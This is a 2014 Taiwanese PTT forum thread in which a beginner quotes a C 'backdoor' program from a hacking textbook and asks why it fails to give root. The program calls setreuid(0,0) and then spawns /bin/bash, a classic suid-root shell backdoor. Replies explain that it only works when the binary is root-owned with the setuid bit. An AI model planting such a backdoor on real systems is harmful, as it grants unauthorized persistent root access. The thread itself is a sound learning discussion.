作者slshsb200300 (Javier)
看板LinuxDev
標題[問題] 關於後門程式
時間Wed Aug 27 15:47:49 2014
我這新手又來問菜問題了...囧
身邊又沒有會的人可問
只好厚著臉皮來了XD
剛在看駭客訓練基地-決戰台灣版這本書
看到後門程式時...程式碼如下
#include <sys/types.h>
#include <unistd.h>
void main()
{
setreuid(0,0);
execl("/bin/bash","bash",(char *)0);
}
結果如下圖
http://imgur.com/EM9LqYD
執行完後卻無法像書上寫的獲得root權限
請問這是什麼原因造成呢@@?
--
※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 220.137.111.11
※ 文章網址: http://www.ptt.cc/bbs/LinuxDev/M.1409125672.A.D14.html
→ mshockwave: 嗯...使用setreuid應該也要root權限 08/28 05:29
→ mshockwave: 你這應該是類似shellcode吧 也就是你的exploit要先 08/28 05:33
→ mshockwave: 破解擁有最高權限的程式或是取得適當權限 這樣你在 08/28 05:33
→ mshockwave: 執行shellcode時才能擁有root權限 08/28 05:33
→ lantw44: suid-shell 的 擁有者 是 root 嗎? 08/29 14:18
→ slshsb200300: 哈...感謝兩位大大我看懂了T T 08/29 16:23
→ mshockwave: Re樓上上:yes 08/30 16:22